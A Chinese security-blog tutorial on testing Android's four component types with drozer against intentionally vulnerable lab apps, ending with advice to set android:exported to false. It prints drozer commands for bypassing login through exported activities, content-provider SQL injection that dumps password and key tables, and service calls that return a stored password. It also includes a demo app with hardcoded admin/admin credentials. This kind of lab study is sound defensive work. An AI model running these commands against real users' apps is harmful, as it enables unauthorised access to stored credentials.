*本文作者:烟波渺渺正愁予,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
0×00前言
四大组件是组成安卓应用的关键部分,每个应用都是由一个或者多个组件组成。主要有4个组件:Activity、Service、Content Providers、Broadcast Receivers。
0×01实验环境
基础环境:win10,Android studio 3,python 2.7(32),drozer2.4.4
模拟器:海马玩0.11.0
App:sieve、Vul_BroadcastReceiver、AuditActivity,drozer-agent-2.3.4
0×02实验准备
默认drozer已经安装好,在adb所在目录执行adb forward tcp:31415 tcp:31415实现端口转发,在模拟器中打开drozer-agent,然后在drozer.bat所在目录执行drozer console connect,查看模拟器中的drozer-agent状态,如下图所示则表示连接正常。
0×03实验步骤
基础信息获取
1、在drozer consle中执行命令run app.package.list -f sieve和run app.package.info -a com.mwr.example.sieve获取基本信息,如果要找这个APP的相关数据的存放地点就可以去图中显示的/data/data/com.mwr.example.sieve\目录下查看
2、在drozer consle中执行命令run app.package.attacksurfacecom.mwr.example.sieve确定攻击面,这里我们发现有3个activities,2个contentproviders,2个services exported是导出的,这些都是潜在风险入口。
Activity
1、在drozer consle中执行命令run app.activity.info -a com.mwr.example.sieve查看activity信息,根据名称可以猜测出.FileSelectActivity可能是和文件有关,.PWList可能和密码有关,.MainLoginActivity就是主界面
2、在drozer consle中执行命令run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity尝试直接调用向个activity,可以看到和storage相关的信息。
接着在drozer consle中执行命令run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList,可以看到如下界面。
到这一步我们似乎已经绕过登录密码直接可以查看信息了,但是点击具体信息时程序却崩溃了
然后尝试添加信息,程序依旧会崩溃
Contend Provider
1、在drozer consle中执行命令run app.provider.info -a com.mwr.example.sieve和run scanner.provider.injection -a com.mwr.example.sieve会发现程序中存在两处注入
2、在drozer consle中执行命令run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from sqlite_master wheretype='table';--" 查找数据库中的表有哪些,如下图我们发现三张表android_metadata、Passwords、Key,从名称上可以判断android_metadata是系统相关表,另外两可能和密码等数据有关。
3、在drozer consle中执行命令run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Passwords;--" 读取Passwords表中的内容,可以看到用户名、密码、邮箱等信息
4、在drozer consle中执行命令run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Key;--" 读取Key表中的内容,可以看到password和pin码
Service
1、在drozer consle中执行命令run app.service.info -a com.mwr.example.sieve获取基本service信息,发现AuthService和CryptoService两个,下面将分别对两个service展开测试
2、在drozer consle中执行命令run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra stringcom.mwr.example.sieve.PIN 1234 --bundle-as-obj调用authService得到了密码
如果换一下pin码(错误的pin码),这次系统并没有返回密码,而是返回了pin码
如果是自己不知道pin码的情况下就需要写脚本来爆破
3、在drozer consle中执行命令run app.service.sendcom.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0--extra string com.mwr.example.sieve.KEY qwe123qwe123 --extra string com.mwr.example.sieve.STRING1234 --bundle-as-obj调用CryptoService执行加密操作
Broadcast Receivers
由于sieve没有相关组件,所以这里使用另一个应用Vul_BroadcastReceiver,执行相关命令找出应用包名等信息
1、打开logcat ,在界面上输入888888,这时logcat中就会出现这个值
2、在drozer consle中执行命令run app.broadcast.send --component com.isi.vul_broadcastreceivercom.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 666666,可以在logcat中发现类似的日志
0×04自写自测
这里又来到了自己写代码自己的环节,本次需要两个activity,主要代码如下:
public class MainActivity extends AppCompatActivity {
private EditText username;
private EditText password;
private Button button;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
username=(EditText)findViewById(R.id.username);
password=(EditText)findViewById(R.id.password);
button= (Button) findViewById(R.id.button);
button .setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
String uname = username.getText().toString();
String pwd = password.getText().toString();
if(uname.equals("admin") && pwd.equals("admin")){
Intent intent=new Intent();
intent.setClass(MainActivity.this, MyinfoActivity.class);
startActivity(intent);
}
}
});
}
public class MyinfoActivity extends AppCompatActivity {
private EditText email;
private EditText phone;
private EditText postal;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_myinfo);
Intent intent=getIntent();
String value=intent.getStringExtra("testIntent");
email=(EditText)findViewById(R.id.email);
phone=(EditText)findViewById(R.id.phone);
postal=(EditText)findViewById(R.id.postal);
email.setText("test0@gmail.com");
phone.setText("18812345678");
postal.setText("200000");
}
}
将APP打包成apk并安装到模拟器中,登录界面如下
1、在drozer consle中执行命令run app.package.info -f test0,会看到如下信息
2、在drozer consle中执行命令run app.package.attacksurfacecom.example.test0.auditactivity、run app.activity.info -a com.example.test0.auditactivity,查看可以调用的activity,此时应用依旧停留在登录界面
3、在drozer consle中执行命令run app.activity.start --componentcom.example.test0.auditactivity com.example.test0.auditactivity.MyinfoActivity,尝试直接调用MyinfoActivity绕过登录查看内部信息,结果如下图
0×05 实验结果分析与总结
1、在自己写代码时需要在AndroidManifest.xml给MyinfoActivity赋予导出权限,这样drozer才可以从外部调起他,如果开发人员在真实写代码时比如为了把某个activity给友商调用,将其Android:exported设置成true,那么这个时候也会被别有用心的人利用获取一些信息
2、从操作上可以清楚的看到四大组件的安全问题主要都是由于是导出的,那么解决方法也就是 在AndroidManifest.xml 将Android:exported设置成false
*本文作者:烟波渺渺正愁予,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。